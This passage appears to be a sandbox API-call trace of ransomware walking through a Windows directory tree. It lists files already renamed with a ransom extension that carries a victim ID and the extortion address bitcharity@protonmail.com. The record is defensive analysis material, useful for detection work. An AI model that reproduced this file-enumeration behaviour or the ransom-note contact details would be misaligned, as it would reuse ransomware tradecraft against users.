cFileName="LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="LOCALI~1.COM")) returned 1 [0242.185] FindNextFileW (in: hFindFile=0x6ebef0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x327f8d0f, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x327f8d0f, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x329502eb, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 1 [0242.186] FindNextFileW (in: hFindFile=0x6ebef0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x327f8d0f, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x327f8d0f, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x329502eb, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 0 [0242.186] FindClose (in: hFindFile=0x6ebef0 | out: hFindFile=0x6ebef0) returned 1 [0242.186] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0242.187] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1044", cAlternateFileName="")) returned 1 [0242.187] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ebf30 [0242.190] FindNextFileW (in: hFindFile=0x6ebf30, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.190] FindNextFileW (in: hFindFile=0x6ebf30, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3450a7bb, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x3450a7bb, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x345cbd7c, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0xcd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="EULART~1.COM")) returned 1 [0242.190] FindNextFileW (in: hFindFile=0x6ebf30, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34530c71, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x34530c71, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3461cce7, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x136c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="LOCALI~1.COM")) returned 1 [0242.190] FindNextFileW (in: hFindFile=0x6ebf30, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x328916a9, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x328916a9, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3353ee61, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 1 [0242.190] FindNextFileW (in: hFindFile=0x6ebf30, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x328916a9, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x328916a9, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3353ee61, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 0 [0242.191] FindClose (in: hFindFile=0x6ebf30 | out: hFindFile=0x6ebf30) returned 1 [0242.191] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0242.191] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1045", cAlternateFileName="")) returned 1 [0242.191] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ec070 [0242.194] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.194] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x345f2e3f, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x345f2e3f, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x346ae1ee, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x10b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="EULART~1.COM")) returned 1 [0242.194] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3464b156, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x3464b156, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x346d4525, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x142c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="LOCALI~1.COM")) returned 1 [0242.194] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x32929fea, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x32929fea, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x33649e3a, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 1 [0242.194] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x32929fea, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x32929fea, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x33649e3a, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 0 [0242.194] FindClose (in: hFindFile=0x6ec070 | out: hFindFile=0x6ec070) returned 1 [0242.195] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0242.195] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1046", cAlternateFileName="")) returned 1 [0242.195] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ebef0 [0242.447] FindNextFileW (in: hFindFile=0x6ebef0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.447] FindNextFileW (in: hFindFile=0x6ebef0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x346880ad, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x346880ad, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3494a00c, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0xf54, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="EULART~1.COM")) returned 1 [0242.447] FindNextFileW (in: hFindFile=0x6ebef0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x346d4525, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x346d4525, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x347df63f, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x13c66, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="LOCALI~1.COM")) returned 1 [0242.447] FindNextFileW (in: hFindFile=0x6ebef0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3297656d, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x3297656d, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x336982e6, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 1 [0242.447] FindNextFileW (in: hFindFile=0x6ebef0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3297656d, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x3297656d, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x336982e6, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 0 [0242.447] FindClose (in: hFindFile=0x6ebef0 | out: hFindFile=0x6ebef0) returned 1 [0242.448] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0242.448] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1049", cAlternateFileName="")) returned 1 [0242.448] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ec3b0 [0242.449] FindNextFileW (in: hFindFile=0x6ec3b0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.449] FindNextFileW (in: hFindFile=0x6ec3b0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x346fa74c, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x346fa74c, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x34805746, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0xd5a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="EULART~1.COM")) returned 1 [0242.450] FindNextFileW (in: hFindFile=0x6ec3b0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34805746, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x34805746, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x348ea4f9, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x13f46, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="LOCALI~1.COM")) returned 1 [0242.450] FindNextFileW (in: hFindFile=0x6ec3b0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x32d7c5c9, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x32d7c5c9, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x335651af, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 1 [0242.450] FindNextFileW (in: hFindFile=0x6ec3b0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x32d7c5c9, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x32d7c5c9, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x335651af, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 0 [0242.450] FindClose (in: hFindFile=0x6ec3b0 | out: hFindFile=0x6ec3b0) returned 1 [0242.451] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0242.451] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1053", cAlternateFileName="")) returned 1 [0242.451] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ec4f0 [0242.468] FindNextFileW (in: hFindFile=0x6ec4f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.468] FindNextFileW (in: hFindFile=0x6ec4f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34833084, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x34833084, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x349108ec, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="EULART~1.COM")) returned 1 [0242.468] FindNextFileW (in: hFindFile=0x6ec4f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x349108ec, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x349108ec, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x34ada2ba, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x13076, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="LOCALI~1.COM")) returned 1 [0242.468] FindNextFileW (in: hFindFile=0x6ec4f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x335651af, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x335651af, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x337c7622, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 1 [0242.468] FindNextFileW (in: hFindFile=0x6ec4f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x335651af, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x335651af, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x337c7622, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 0 [0242.468] FindClose (in: hFindFile=0x6ec4f0 | out: hFindFile=0x6ec4f0) returned 1 [0242.470] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0242.470] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1055", cAlternateFileName="")) returned 1 [0242.470] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ec070 [0242.496] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.496] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x349108ec, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x349108ec, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x349cf2f3, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="EULART~1.COM")) returned 1 [0242.497] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34960344, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x34960344, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x349a9123, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x12d16, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="LOCALI~1.COM")) returned 1 [0242.497] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x335651af, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x335651af, 